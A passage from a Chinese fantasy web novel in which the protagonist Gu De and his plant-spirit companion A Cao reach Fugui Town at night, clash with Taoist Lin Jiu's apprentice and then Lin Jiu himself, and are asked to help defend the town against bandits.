古德看着他那副样子,心里并无多少波澜。
古德推开车门,走了下来,站在茅山明面前,抱着胳膊,冷冷地看着他:
“还给你?还让你带着它们继续装神弄鬼骗吃骗喝?茅山明,你是真糊涂还是装糊涂?你没发现,你跟这两个鬼待得越久,你自己就越倒霉,越穷困潦倒吗?”
茅山明浑身一震,张了张嘴,想反驳,可仔细回想自己这些年的境遇。
本来可以勉强混个饱饭,现在则是钱财左手进右手出,时常走背运,身体也大不如前,他脸色变幻,喃喃道:“道友是说我这些年诸事不顺,全是因为……”
“鬼乃不祥之物,集贫、贱、哀、败、灾、祸、耻、惨、霉、臭、伤、病、死等诸般晦气于一身。”
古德打断他,这话虽然说起来有点夸张,但道理是那个道理。
“你跟它们朝夕相处,气息相连,它们吸你的阳气,染你的气运,你不倒霉谁倒霉?你不穷困谁穷困?你看看你自己,好歹还是有一些本事的,结果混成什么样子了?
道袍破旧,面有菜色,连骗点钱都只能靠这种不入流的小把戏!你以为养两个小鬼是帮手?那是跗骨之蛆!是榨**气运的冤亲债主!”
茅山明如遭雷击,踉跄后退半步,脸上血色尽褪。
古德的话,像一把钥匙,打开了他心底一直不愿正视的疑惑。
是啊,为什么自己学了道法,却混得如此潦倒?
为什么每次有点小钱,很快就会因为各种原因破掉?
为什么身体越来越虚……原来根子在这里!
“道友……你说得……或许有道理……但是……大宝和小宝它们……”
茅山明还想挣扎,声音干涩。
“没有但是!”
古德不耐烦地打断他。
“该说的我都说了。这两只鬼,我收
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了,过段时间会送它们去该去的地方,对它们而言是解脱,对你更是摆脱霉运的开始。你若是再纠缠不清,挡我的路……”
古德眼神骤然一冷,一股淡淡的、却让茅山明感到心悸的威压散发出来,“我不介意替你祖师清理门户,送你下去,让你亲自跟你的祖师见面唠个嗑!”
感受到古德眼中那毫不掩饰的冷意和实实在在的威胁,茅山明激灵灵打了个寒颤,所有的话都堵在了嗓子眼。
他丝毫不怀疑眼前这个年轻人有说到做到的能力和决心。
“……是,贫道……明白了。”
茅山明最终颓然低下头,肩膀垮了下去,仿佛一下子老了十岁。
他对着古德深深一揖,声音沙哑,“多谢……道友点醒。它们……就拜托道友了。”
说完,他不再看古德,失魂落魄地转过身,踉踉跄跄地走入路边的黑暗之中,背影萧索。
古德看也没再看他一眼,转身上车,关好车门。
油门轻点,白色房车再次启动,平稳地加速。
阿草突然问古德:“老板,你说鬼有诸般晦气于一身,那妖呢?”
古德看了她一眼,笑着道:“妖不一样,不会对人有影响,特别是草木成精的妖!”
阿草听到哦了一声,只是嘴角忍不住翘起,压不下来。
车内重新安静下来。
古德顺着车载导航的指引,继续向东行驶。
导航显示,距离目的地“富贵镇”已经不远。
开了没多久,大约又过了半个小时,前方黑暗的视野尽头,开始出现一片连绵的、低矮的建筑轮廓,在稀薄的星光下显露出模糊的阴影。
导航地图上,代表目的地的光标亮起,旁边浮现出两个小字:富贵镇。
到了。
古德降低车速,缓缓靠近镇子入口。
借着车灯,能看到镇口立着一块半人高的石碑,上面用红漆写着“富贵镇”三个大字,字迹有些斑驳。
第282章 有间客栈
镇子看起来不大,房屋多是低矮的平房或两层小楼,黑瓦白墙。
此时已近子时,镇内一片寂静,全部都沉浸在黑暗中,就是显得有些过于安静了。
他思索了片刻,决定谨慎行事。
这镇子情况不明,又是深夜,贸然开着这么显眼=的房车进去,恐怕会引起不必要的骚动和麻烦。
万一镇子里道路狭窄,车子开进去不好调头,不小心刮蹭到民房更是不美。
再者,他看了一眼只有自己能看到的虚拟里程和点数记录,暗自叹了口气。
从四目那里出发,到富贵镇外,总共开了将近四百公里,结果只积累了40点公里点数,阴德更是几乎没有增加。
这效率,让他无比怀念在香江开出租车时,虽然路程短,但公里数还是赚的很足的。
不知道系统有没有啥支线任务,可以奖励多一些公里数。
古德在心里吐槽着。
“找个隐蔽点的地方,把车停下。我们步行进镇。”
古德对阿草说。
阿草自然没有意见:“好的老板。”
古德开着车,在镇子外围转了转,很快找到一片远离道路、树木较为茂密的小树林。
他将车缓缓驶入林中深处,停在一处相对平坦的空地上。
周围树木枝叶遮挡,从外面很难发现这里藏着一辆这么大的车。
熄火,关灯。古德和阿草下了车。
夜风吹过树林,发出沙沙的声响,更显得四周空旷寂静。
远处富贵镇的轮廓在夜色中沉默着。
阿草揉了揉眼睛,有些迷糊地问:“老板,我们到地方了?就是前面那个黑乎乎的地方?”
“嗯,那就是富贵镇。”
古德点了点头,看了看夜色中的小镇,又看了看自己这身现代休闲装,觉得不太合适。
他心念一动,身上光芒微闪,那身衣服已换成了一套质料讲究的月白色中式长衫,款式简约大气,衬得他身形挺拔,倒有几分旧时书生或游方道士的气质。
接着,他手一翻,一个长约两米、宽约半米、厚约三十公分的暗红色古琴琴盒,凭空出现在他身前的地上。
这琴盒造型古朴,表面有精细的云纹雕刻,木质温润,触手微凉,正是纸扎陈二次升级后的“便携法坛藏剑琴盒”。
琴盒采用特殊的高硬度混合材料制成,内里设有精巧的多层机关和夹层,不仅能完美收纳他那柄青铜阔剑,还能存放不少符箓、法器和小型法坛所需之物,是伪装和携带的绝佳道具。
古德打开琴盒侧面的机关,露出内里丝绒衬垫和复杂的卡扣结构。
接着从房车储物空间里,拿出他的青铜阔剑,小心地放入琴盒内特制的剑槽中,严丝合缝地卡好。
接着又检查了一下琴盒内部其他夹层里备好的黄符、朱砂、墨斗、铜钱等物,确认无误后,合上盒盖,扣好铜锁。
然后将沉重的琴盒轻松背到背上,调整了一下肩带。
沉重的琴盒落在他肩上,却轻若无物。
他又仔细检查了一下车锁,确保车门锁闭,车身的被动防护已经开启。
以现在“金刚不坏车身”的强度,除非有人用大炮轰或者……嗯,或者某些超常规武器,例如小男孩,否则根本不可能损伤分毫。
停在这荒郊野外,他还是很放心的。
做完这一切,古德看向旁边的阿草。
只见阿草正两眼放光地盯着他这身新造型和背上的帅气琴盒,小脸上写满了“老板好帅”几个字。
古德抬手,在她面前打了个响指:“醒醒,别发花痴了。走了,跟我进镇。”
“哦哦!”阿草脸一红,连忙收敛神色,乖乖跟上。
两人离开小树林,朝着富贵镇的方向走去。
越是靠近镇子,那种诡异的寂静感就越是明显。
官道到了镇口就变成了青石板铺就的街道,街道两旁是鳞次栉比的店铺和民宅,但所有的门窗都紧闭着,里面一丝光亮都没有,也听不到任何人声、狗吠甚至虫鸣。
整座镇子仿佛被按下了静音键,又像是……一座空镇。
夜风吹过空荡荡的街道,卷起几片枯叶,发出沙沙的轻响,更添几分阴森。
阿草忍不住靠近古德一点,小声道:
“老板,这个镇子好怪啊……怎么感觉像是个没人住的鬼镇?这里的人……不会都……”
她没敢说下去,但意思很明显。
古德摇了摇头,他运起法眼仔细观察,同时感知着
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周围的气息:
“不像。镇子里没有浓重的死气或怨气,不像是被屠戮一空。倒像是……所有人都躲起来了,或者集中在某个地方。”
他忽然想起《灵幻先生》的剧情。
电影里,似乎有一幕是全镇的人为了防范马贼,都集中躲到了祠堂或者某个大宅里?难道自己恰好赶上了这个时间点?
“阿草,感应一下,哪里活人气息最集中?”古德吩咐道。
他自己也能感应,但阿草作为精怪,在某些方面感知更敏锐。
阿草闻言,立刻闭上眼睛,集中精神,她的耳朵微微动了动,鼻子也轻轻翕动,如同灵敏的小兽。
片刻后,她睁开眼睛,指向镇子东北方向:“老板,那边!虽然很微弱,但那边有比较集中的‘人气’和‘阳气’,还有很多细微的呼吸和心跳声,好像都聚在一起。”
“走,去看看。”
古德点点头,朝着阿草指的方向走去。
两人沿着寂静的街道前行,脚步声在青石板上发出清晰的回响。
两人在寂静无人的街道上快步穿行,脚步声在石板路上回响,显得有些突兀。
很快,他们来到镇子东北角一处较为宽敞的地带。
眼前出现一座两层高的木结构建筑,门口挂着一盏气死风灯,昏黄的光线下,可以看清门楣上挂着一块旧牌匾,上面写着四个大字——“有间客栈”。
古德嘴角忍不住抽动了一下。
有间客栈……这名字,还真是直白又敷衍,充满了某种熟悉的恶趣味。
看来,人都在这里面了。
他示意阿草上前推门。
阿草伸手,轻轻一推,那厚重的木门发出“吱呀”一声轻响,向内打开了一条缝隙。
里面一片漆黑,什么也看不清,但一股混杂着汗味、尘土味和紧张气息的味道飘了出来,同时,古德清晰地感觉到,门后的黑暗里,潜伏着许多道警惕、紧张,甚至带着敌意的目光,还有压抑的呼吸声。
古德不再犹豫,在阿草推开门后,他一步踏了进去,身形没入门内的黑暗之中。
就在他踏入门槛的瞬间!
“呼啦——!”
原本漆黑一片的大堂四周,猛地亮起十几支火把!
第283章 道长,火气别这么大
熊熊燃烧的火光瞬间驱散了黑暗,将整个客栈大堂照得如同白昼,也映出了一张张或惊恐、或紧张、或凶狠的脸庞!
只见大堂里,桌椅都被挪到了墙边,空出中间大片地方。
四周墙角、楼梯口、柜台后,密密麻麻站满了人,有男有女,有老有少,大多是镇民打扮,手里拿着棍棒、菜刀、锄头等五花八门的“武器”,一个个如临大敌,眼神死死地盯着闯入的古德和阿草。
为首的是个穿着绸布褂子、戴着圆框眼镜、梳着中分头、身材微胖的年轻人。
他手里也举着一支火把,脸上混杂着紧张、害怕,以及一丝强行装出来的凶狠。
他看到古德这陌生面孔,以及古德身后跟进来的、容貌清丽却同样陌生的阿草,尤其是看到两人在这紧张时刻闯入的镇定姿态,眼中立刻闪过怀疑和一丝不易察觉的嫉妒,嫉妒是因为古德的外形气质确实出众。
这眼镜男一个箭步冲上前,在距离古德五六步远的地方停下,拿着一把菜刀指着古德,语气十分不善,带着审问的口吻:
“站住!你们是什么人?!鬼鬼祟祟半夜摸进我们镇子,想干什么?!说!是不是马贼帮派来的探子?!”
他根本不给古德开口解释的机会,目光随即扫到阿草身上。
当看清阿草即使在火光下也显得娇俏可人的面容时,他眼中那股嫉妒瞬间被一种令人作呕的淫邪之色取代。
他舔了舔嘴唇,脸上露出不怀好意的笑容,回头对旁边几个拿着棍棒、像是他狗腿子的青年喊道:
“你们几个!去,把这个男的给我捆起来!细细审问!至于这个女的……”
他搓着手,嘿嘿笑着,朝着阿草逼近两步,目光在阿草身上肆无忌惮地扫视,双手还做出抓握的猥琐姿势:
“我来亲自对付!我得好好搜一搜她的身,看看她身上有没有藏着跟马贼帮联系的信件!嘿嘿……”
古德站在原地,面无表情,甚至没有看那眼镜男一眼,只是目光平静地扫过四周紧张的人群。
但他眼底深处,一丝冰冷的怒意已然升起。
看电影时只觉得这角色惹人厌烦,现实中亲眼见到这副嘴脸,更是觉得恶心透顶。
阿草的感应更加敏锐直接。
那眼镜男充满恶意的目光和污言秽语,让她瞬间炸毛!
一股冰冷的杀意从她眼底闪过。
她记得古德的交代,尽量不**。
但这不意味着她不能教训这个不知死活的东西!
就在眼镜男嘿嘿笑着,伸出咸猪手快要碰到阿草肩膀的瞬间,阿草动了。她甚至没有做出明显的动作,只是眼神一厉,右手对着眼镜男的方向虚空一握!
“呃……嗬嗬……”
眼镜男脸上的淫笑瞬间凝固,取而代之的是无边的惊恐和窒息!
他感觉自己的脖子仿佛被一只无形却力大无穷的冰冷铁手死死掐住,双脚瞬间离地,整个人被凭空拎到了半空中!
他双手徒劳地抓挠着自己的脖颈,脸涨得通红,眼珠凸出,嘴巴大张却发不出完整的声音,只能发出“嗬嗬”的漏气声,双腿在空中胡乱踢蹬。
这突如其来、超出常理的诡异一幕,把周围所有举着火把、拿着武器的镇民都吓傻了!
他们惊恐地看着被无形力量掐住脖子、悬浮在半空、痛苦挣扎的眼镜男,又看看站在原地、只是冷冷抬着手的阿草,一个个面色惨白,下意识地连连后退,手里的“武器”都拿不稳了,哪里还敢上前?
阿草冷冷地看着快要翻白眼的眼镜男,估摸着教训得差不多了,手一挥,像扔垃圾一样,将他朝着客栈大门的方向狠狠甩了出去!
“砰!哗啦——!”
眼镜男微胖的身体如同破麻袋般横飞出去,先是重重撞在敞开的客栈门板上,将门板撞得歪斜,然后才滚落在地,激起一片尘土。
他趴在地上,先是剧烈地咳嗽干呕,随即感觉到全身骨头像是散了架一样的疼痛,忍不住发出杀猪般的惨叫。
阿草迈步,朝门外走去,看样子还想再补两下。
就在这时!
一声中气十足、充满正气的厉喝,如同惊雷般从客栈外面炸响:
“妖孽!竟敢用邪术伤人!找死!”
随着话音,一道矫健的身影如同大鹏展翅,凌空飞跃过来!
那人一身灰布短打,面容方正
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,最醒目的是那两道浓黑如墨、几乎连成一字的长眉!
正是九叔林凤娇!
九叔人在半空,手中已然握着一把厚背钢刀。
那钢刀并非凡铁,刀身上用朱砂混合某种特殊材料刻画着驱邪破煞的符文,此刻在九叔法力灌注下,隐隐泛起一层澹金色的光芒,带着凌厉的破邪之气,挟着下坠之势。
以开山裂石般的威势,朝着刚刚走到门口的阿草当头劈下!
刀风凛冽,竟将附近的火光都压得摇曳不定!
阿草虽然实力提升,但毕竟实战经验不多,又是骤然遇袭,对方气息刚正凌厉,速度又快,她一时竟有些愣神,未能立刻做出有效反应。
就在那金色刀光即将触及阿草发梢的千钧一发之际!
一道暗红色的影子,后发而先至!
“铛——!!!”
一声清脆响亮、宛如金铁交鸣的巨响,在客栈门口炸开!
众人只觉眼前一花,定睛看时,只见不知何时,那个背着巨大琴盒、书生打扮的年轻人,已经悄无声息地挡在了那少女身前。
而他背后那个看似沉重的暗红色琴盒,此刻正以一个不可思议的角度抬起一角,精准无比地架住了九叔那势大力沉、金光闪烁的凌空一刀!
碰撞处,气劲四溢,激起一小圈肉眼可见的空气涟漪!
九叔脸色骤然一变,他只觉自己这一刀仿佛劈在了一座亘古不移的山岳之上,反震之力顺着刀身汹涌传来,震得他虎口发麻,整条手臂都是一阵酸胀!
他闷哼一声,借着反震之力,在空中一个灵巧的鹞子翻身,向后飘落,脚步踉跄着连退三四步,才勉强卸去那股巨力,站稳身形。
他握刀的右手,此刻还在微微颤抖,看向古德的眼神,充满了惊疑和凝重。
而古德,依旧站在原地,背上的琴盒稳稳落下,甚至连脚步都未曾移动半分。
他拍了拍并不存在的灰尘,抬眼看向对面一字眉紧锁、严阵以待的九叔,脸上露出一丝淡淡的、近乎礼貌的微笑:
“这位道长,火气别这么大。有话,可以好好说。”
(今**更8000字,看谁还敢说我短!)
第284章 和九叔的正式会面
那被阿草摔出门外,正捂着腰腿惨嚎的四眼仔,一听到九叔的声音,如同溺水之人抓住了救命稻草,立刻忘了疼痛,连滚带爬地挣扎起来,跌跌撞撞扑到九叔脚边。
他一把抱住九叔的小腿,指着古德和阿草,鼻涕眼泪齐流,声音尖利地哭诉:
“师父!师父您可算来了!就是这两个人!鬼鬼祟祟半夜摸进镇子,肯定是马贼帮派来的探子!弟子……弟子恪尽职守,想把他们拦下来盘问清楚,谁想到……谁想到这个妖女!”
他惊恐地看了一眼阿草,“这妖女竟然会使妖法!手一挥就把弟子打飞了!您看弟子这伤!师父,您一定要替弟子做主,拿下这两个奸细啊!”
九叔眉头紧锁,却没有立刻理会脚下徒弟的哭嚎。
他的目光如同两把刷子,先是仔细地扫过阿草。
刚才他确实是感觉到一股妖气波动,又听到徒弟的惨叫,情急之下才出手。
此刻近距离细看,这少女周身确实萦绕着一股清冽纯净的草木灵气,虽然本质属妖,但气息中正平和,并无血腥暴戾之感,道行根基竟意外的扎实,不像是那种会无缘无故主动挑衅伤人的邪物。
再看她那副乖乖站在古德身后隐含怒意的模样,九叔心里已经信了七八分。
多半是自己这不成器的徒弟见色起意,言行不端,才惹得对方反击。
他的目光随即转向古德,这一看,心中更是凛然。
刚才那一下交手,虽然仓促,但他已试出对方深不可测。
此刻面对面,以他修行多年的眼力,竟然有些看不透这年轻人的深浅。
对方气息内敛至极,站在那儿,既不张扬,也不卑微,如同古井深潭,平静无波,又如山岳峙立,沉稳厚重。
更让九叔在意的是,这年轻人身上有种极其微妙的气质,与这民国乱世,还有与这客栈内的紧张氛围都隐隐有些格格不入,可偏偏又给人一种自然和谐、本该如此的感觉。
这种矛盾感,让九叔心中的警惕提到了最高。
他轻轻一抖腿,将还在哭嚎的阿强震开,沉声开口:
“阁下何人?深夜驾临我这小小的富贵镇,所为何事?又为何对劣徒出手,下此重手?”
他刻意加重了“下此重手”四个字,既是询问,也是一种无形的压力。
古德迎着九叔那锐利的审视目光,神色没有丝毫变化,依旧是从容淡然。
他对着九叔拱手,行了一个标准的道家见面礼,语气平和,不卑不亢:
“在下古德,一介四处漂泊的散修。久闻富贵镇林九英林道长道法精湛,为人刚正,嫉恶如仇,特来拜访,以期请教。至于对令徒出手……”
他略一停顿,看了一眼旁边还在哼哼唧唧、眼神躲闪的四眼仔,嘴角勾起一抹若有若无的讥诮:
“林道长不妨先问问,你这好徒弟,刚才想对我的同伴做什么?若非我同伴略通防身之术,此刻怕是已被他搜身搜证了。我辈修行之人,当明辨是非,林道长以为然否?”
古德的话还有一层潜意思,先是捧了一下九叔,说他为人刚正,但是教出来的徒弟,却是如此不堪。
话说古德的确觉得,九叔带的徒弟,一个比一个不行,这带徒弟的眼光的确不怎么样。
林九英最好面子了。
一听古德这番话,再看看自己徒弟那副心虚气短、目光游移、不敢与他对视的窝囊相,心里已然跟明镜似的。
自己这个徒弟阿强,本事没学多少,好色、鲁莽、欺软怕硬的毛病却是一样不缺。
定是见这古德同伴容貌秀丽,便动了歪心思,口出污言甚至动手动脚,才招致对方反击。
什么“马贼探子”,多半是他理亏之后胡乱扣的帽子。
想通此节,九叔脸色顿时一沉,如同罩上了一层寒霜,自己这名声怕是要被这劣徒搞臭了。
他转头,狠狠瞪了阿强一眼,那眼神里的失望和怒意,吓得阿强浑身一哆嗦,连哭嚎都忘了。
“不成器的东西!还不给我滚一边去!丢人现眼!”
九叔低声喝骂,声音里压抑着怒火,“等此事了结,再跟你算账!”
阿强被师父这一瞪一骂,吓得魂飞魄散,哪还敢再吭声,连滚带爬地躲到了旁边看热闹的镇民身后,捂着肿起的屁股,再不敢露头。
斥退了徒弟,九叔这才重新转向古德,脸色稍缓,但眼中的警惕并未完全消散。
他再次拱手,语气比刚才客气了些,却依旧带着审视:
“原来是古道友。劣徒无状,冲撞了阁下与这位姑娘,林某身为师长,管教不严,在此代他赔个不是。古道友身手不凡,林某佩服。”
他话锋随即一转,目光变得锐利起来,扫过客栈内紧张不安的镇民,又落回古德身上:
“只是,古道友也看到了,如今敝镇正值多事之秋。马贼肆虐,横行乡里,**越货,无恶不作。镇民惶恐,日夜不安。值此风声鹤唳之时,古道友突然深夜来访,未免……有些过于巧合了。”
九叔顿了顿,看着古德的眼睛,语气诚恳,却又带着明显的试探:
“不知古道友此番前来,拜访林某,究竟所为何事?若能坦诚相告,林某感激不尽。也免得再生误
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会,徒增麻烦。”
这话说得客气周全,但意思很明白:
你说你是来拜访我的,怎么证明?这兵荒马乱的时候,你偏偏这时候出现,很难不让人怀疑你和马贼是不是一伙的,或者别有图谋。想要取信,就得拿出点实在的东西来。
古德对此早有预料。
九叔要是那么容易轻信陌生人,也就不是那个谨慎稳重、守护一方的林道长了。
他也不多费唇舌去辩解,直接伸手入怀,取出了一个略显陈旧的信封,双手递了过去。
“林道长请看此信。”
古德语气平静。
“在下前些时日,在吉祥镇附近,有幸与令师弟四目道长、千鹤道长有一面之缘,曾联手处理过一桩棘手之事。相谈之下,颇为投契。
临别之际,四目道长听闻我游历四方,或许会路过富贵镇方向,便托我带封信给道长,并言道,若在附近遇到难处,或可来寻道长商量。在下此番,一是送信,二也是慕名而来,想见识一下林道长的风采。”
他没有提具体是什么棘手之事,也没说四目极力推荐他来找九叔处理鬼物,只说是顺路带信,慕名拜访,将主动权交给九叔和那封信。
九叔眼中讶色更浓,他接过信封。
信封是常见的黄褐色牛皮纸,有些磨损,上面用毛笔潦草地写着“师兄林九英亲启”几个字,那歪歪扭扭、不拘一格的笔迹,他一眼就认出,正是自己那个不修边幅的师弟四目的手笔。
他不再犹豫,就着旁边镇民手中火把跳动的光芒,拆开信封,取出里面一张折得有些随意的信纸,展开细读。
信纸上的字迹同样潦草,但内容却让九叔越看神色越郑重。
四目在信里简要说了在千鹤在他那块地方遭遇皇族僵尸,师弟千鹤重伤险死,幸得一位名叫古德的游方高人仗义出手,不仅击退了僵尸,还救了千鹤性命。
信中用了“道法深不可测”、“为人磊落正直”、“颇有古风”等词来形容古德,并提及这位古道友似乎与阴司地府有些常人难以企及的交情。
最后,四目特意提到,古德身边跟着一位由草木精灵点化而成的侍女,虽为异类,但心地纯良,让师兄不必以寻常妖物视之,若古道友来访,望师兄能坦诚相待,或许对师兄正在处理的事情有所帮助云云。
信不长,但信息量十足,尤其是“击退皇族僵尸”、“与地府有交情”这些字眼,让九叔心中震动。
他知道四目平时虽然嬉笑怒骂没个正形,但在这种大事上绝不会信口开河,更不会拿师弟千鹤的性命开玩笑。
第285章 误会解除,马贼将来
看完信,九叔心中的疑虑瞬间消散了大半。
他小心翼翼地将信纸折好,重新塞回信封,珍而重之地放入怀中。
再次抬头看向古德时,眼神里的警惕和审视已然被郑重、好奇以及一丝不易察觉的敬佩所取代。
能让自己那个眼高于顶、嘴损无比的师弟四目如此推崇,甚至用上“深不可测”这样的评价,能击退连千鹤都难以应付的皇族僵尸,还能与地府有交情……
这位看起来年纪轻轻的古道友,其修为和背景,恐怕远超自己最初的想象。
“原来是古道友,失敬,失敬了!”
九叔后退半步,对着古德郑重其事地抱拳,行了一个更正式的道礼。
“四目师弟在信中已将事情原委告知。道友对千鹤师弟有救命之恩,对我茅山一门有援手之德,林某感激不尽!方才劣徒冒犯,林某管教无方,让道友见笑了,还请道友海涵。”
古德连忙侧身避开,拱手还礼:
“林道长言重了。路见不平,力所能及,自当相助。四目道长与千鹤道长皆是侠义之士,古某能与他们并肩作战,亦是幸事。些许误会,过去便罢,林道长不必挂怀。”
两人这番对答,气氛顿时缓和了许多。
九叔脸上露出了见到同道和恩人应有的真诚笑容,他侧过身,对着客栈大门内做了一个“请”的手势:“古道友,还有这位姑娘,此处不是说话之地,纷乱嘈杂。若不嫌弃,请随林某入内,饮杯粗茶,我们再细聊。”
说着,他转头对周围依旧举着火把、拿着棍棒、满脸好奇和紧张的镇民们挥了挥手,声音恢复了一贯的沉稳有力:
“大家都散了吧,各回各位,加强戒备!这两位是我的朋友,一场误会,不必惊慌!阿强!”
他喊了一声。
躲在人后的阿强不情不愿地挪了出来,脸上还带着惧色和不服气。
“带几个人,守好客栈前后门,眼睛放亮些!再有差池,两罪并罚!”
九叔瞪着他,厉声吩咐。
“是,师父……”
阿强耷拉着脑袋,有气无力地应了一声,带着几个年轻力壮的镇民悻悻地往门口去了,临走前,还是忍不住偷偷剜了古德和阿草一眼,却被阿草冷冷回瞥的目光吓得一缩脖子,赶紧溜了。
古德眼里寒光闪过,他给九叔一个面子,暂时放过这四眼仔,如果之后这四眼仔管不住自己,要搞事情,那就别怪他了。
镇民们见九叔都发了话,确认不是敌人,虽然对古德和阿草依旧充满好奇,但也纷纷松了口气,低声议论着,收起了手中的“武器”,逐渐散开,回到各自原先躲藏或警戒的位置。
客栈大堂里虽然还是挤满了人,但那种剑拔**张的紧张气氛总算缓解了不少。
古德对九叔的邀请欣然点头:“林道长盛情,古某却之不恭。请。”
他带着阿草,跟在九叔身后,再次踏入了有间客栈的门槛。
这一次,无人阻拦,只有无数道或明或暗的目光追随。
大堂内拥挤而略显凌乱,空气中弥漫着汗味、尘土味、还有劣质烟草和恐惧混合的气息。男女老幼挤在一起,看到九叔引着这两个陌生的高手进来。
尤其是看到阿草那与周遭环境格格不入的清丽容颜和气质,纷纷投来敬畏、好奇、猜测交织的复杂目光。
有胆大的孩子想凑近看,被大人赶紧拉了回去。
古德神色如常,仿佛感受不到这些目光,步履从容。
阿草则微微低着头,紧跟在古德身后半步,降低自己的存在感,只是偶尔抬起眼,警惕地扫视一下四周。
九叔将两人引到大堂角落一张相对清净的方桌旁。
这张桌子离人群稍远,靠近楼梯,旁边还点着一盏油灯,光线稍好。
桌椅都很陈旧,但擦拭得还算干净。
“古道友,姑娘,请坐。”
九叔示意两人坐下,自己也拉过一张凳子坐下,随即对不远处一个满脸皱纹、系着围裙的老掌柜喊道,“老周,麻烦沏壶茶来,用我存在你那儿的那包茶叶。”
“好嘞,九叔!”
老掌柜应了一声,连忙跑去张罗。
不多时,一个粗瓷茶壶和三个同样粗糙的茶碗端了上来。
茶壶冒着热气,散发出一股淡淡的、略带苦涩的茶香。
“镇子被困,物资紧缺,只有些陈年旧茶,条件简陋,怠慢贵客了。”
九叔亲手斟了三碗茶,将其中两碗推到古德和阿草面前,自己端起了第三碗。
“林道长客气了。值此非常时期,能有一隅安身,一碗热茶,已是难得。”
古德端起茶碗,吹了吹热气,轻轻抿了一口。
茶味确实偏苦,但入口后略有回甘,能提神醒脑,在这紧张疲惫的夜晚,算是不错的慰藉。
阿草也学着古德的样子,小口啜饮着,她对茶没什么研究,只觉得味道有点怪,但热乎乎的挺舒服。
“古道友远道而来,又恰逢敝镇遭此劫难,林某未能远迎,反而发生了这等误会,实在是招待不周,心中惭愧。”
九叔放下茶碗,语气诚恳,一字眉下的目光坦荡。
“方才信中所言,古道友不仅对千鹤师弟有救命之恩,自身更是修为高深,与地府有缘。林某虽虚长几岁,于道法一途却不敢自矜,今日得见道友,亦是缘分。”
他顿了顿,看着古德,直接切入正题:
“如今马贼围镇,情势危急,古道友此来,除
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了送信与访友,不知是否还有其他要事?若只是途经此地,林某劝道友还是尽早离开这是非之地为妙,那些马贼凶悍非常,并非寻常匪类。当然,若道友有用得着林某之处,或需在此暂避,也请但说无妨,林某定当尽力。”
这话说得直白而真诚。
既点明了当前的危险,表达了关心,也给出了选择。
你可以走,也可以留,需要帮忙就开口。
充分体现了九叔为人处世的风格:正直,负责,不拖累他人,也愿意庇护同道。
古德放下茶碗,手指无意识地在粗糙的桌面上轻轻敲击了一下。
他迎着九叔坦荡而隐含忧色的目光,微微一笑,决定也以诚相待,至少是部分坦诚。
“不瞒林道长,”古德缓缓开口,“古某此来,除了送信拜访,确有一件私事,想与道长商议。此事……与阴司鬼物有关,或许正可与道长平日所为互补。”
他略作停顿,看到九叔眼中闪过一丝了然和兴趣,便继续道:
“不过,此事并非急务,眼下看来,贵镇的马贼之患,才是燃眉之急。古某虽为外人,但既然适逢其会,又承蒙道长款待,若道长不弃,古某愿略尽绵力,协助道长与镇民,共御外敌。多一个人,多一分力。”
古德这话说得很有技巧。
先点明自己另有来意可以处理鬼物,与九叔的专业对口,建立合作基础。
然后表示此事不急,优先解决马贼问题,展现诚意和担当。
最后将决定权交给九叔,充分尊重对方作为此地守护者的地位。
九叔听完,沉吟不语,手指捻着茶杯,目光低垂,显然在快速权衡。
这位古道友修为莫测,来历神秘,但四目的信和他此刻的表现,都显示出足够的善意和实力。
马贼帮确实棘手,尤其是其中似乎有些非常规的手段,多一个强援,无疑能大大增加胜算和减少伤亡。
只是……
他刚想开口说些什么,客栈大门方向突然传来一阵急促的脚步声和压低的惊呼骚动!
紧接着,刚才被派去守门的阿强冲了进来,甚至顾不上对古德和阿草的畏惧,慌张的扑到九叔桌前,对着九叔喊道:
“师父!马贼要来了!那帮马贼刚过了河外河,山外山,马上就要到大树林了!报信的人说,黑压压的一打片,好多马贼!师父怎么办?”
“什么?!”
九叔霍然起身,一字眉几乎倒竖起来,刚才的沉吟瞬间被凌厉的战意取代。
古德也缓缓站了起来,与九叔对视一眼,都看到了对方眼中的凝重。
看来,叙旧和商量合作细节,都得往后放一放了。
眼下之际,还是得先处理那帮马贼。
第286章 系统诈尸了?还有订单?
古德心里暗自嘀咕起来。
电影《灵幻先生》里的马贼,拢共也就十几二十号人,真正棘手的其实是那三个会邪术的头领。
可听这阿强喊的“黑压压一片”,看来现实远比电影夸张。
不过转念一想,这倒也合理。
如今是民国初年,兵荒马乱,各地土匪山贼多如牛毛。
能拉起队伍四处劫掠的,怎么可能是小猫三两只?
没有百十来号悍匪,根本镇不住场子,也不敢明目张胆地攻打一个有准备的镇子。
这伙马贼,都是真正的亡命之徒,手上都是沾过血的。
“这下有点麻烦了……”古德暗自皱眉。
九叔的脸色在火把摇曳的光线下显得异常凝重。
他显然也意识到了问题的严重性。
对方人数可能远超预期,自己这边虽说有两百多壮丁,但大多是没见过血、没经过训练的普通乡民。
拿着锄头棍棒,对付小股**贼或许还行,面对成建制的马贼冲锋,尤其是之前探听到,对方马贼可能还有邪术傍身的情况下,恐怕一个照面就会溃散,死伤必然惨重。
堂屋里气氛压抑,只有火把燃烧的噼啪声和人们粗重的呼吸声。
所有人的目光都集中在九叔身上,等着他拿主意。
九叔背着手,在堂屋里踱了几步,眉头紧锁。
他目光扫过一张张惶恐、期待、又带着绝望的脸,这些都是信赖他,依靠他庇护的乡邻。
其中不少年轻面孔,家里还有老小等着他们回去。
若是硬拼,就算能打退马贼,这屋里恐怕也要多出几十个寡妇,几十个没爹的孩子。
他停下脚步,深深吸了一口气,仿佛下定了某种决心。
他转过身,面向一直安静站在一旁的古德,上前两步,双手抱拳,对着古德深深一揖,腰弯得很低,语气是前所未有的诚恳,甚至带着一丝不易察觉的恳求:
“古道友。”
这一声称呼,让所有人都愣住了。
连躲在人群后面的阿强都偷偷抬起头,惊讶地看着自己那一向心高气傲、等闲不假辞色的师父。
“此番劫难,实是富贵镇生死存亡之秋。”
九叔保持着作揖的姿势,声音沉稳,却字字清晰。
“马贼帮势大,非林某一人之力可挡。镇中青壮虽有血勇,然终究是寻常百姓,难敌虎狼之匪。林某……恳请古道友,念在苍生无辜,仗义出手,助我富贵镇渡过此劫!”
他抬起头,一字一顿,郑重承诺:
“道友今日若肯援手,便是富贵镇上下数百口人的再生父母!大恩大德,林九英与全镇百姓,永世不忘!事后,只要林某力所能及,任凭道友驱策,绝无二话!镇中也必倾尽所有,酬谢道友大恩!”
这番话,说得情真意切,掷地有声。
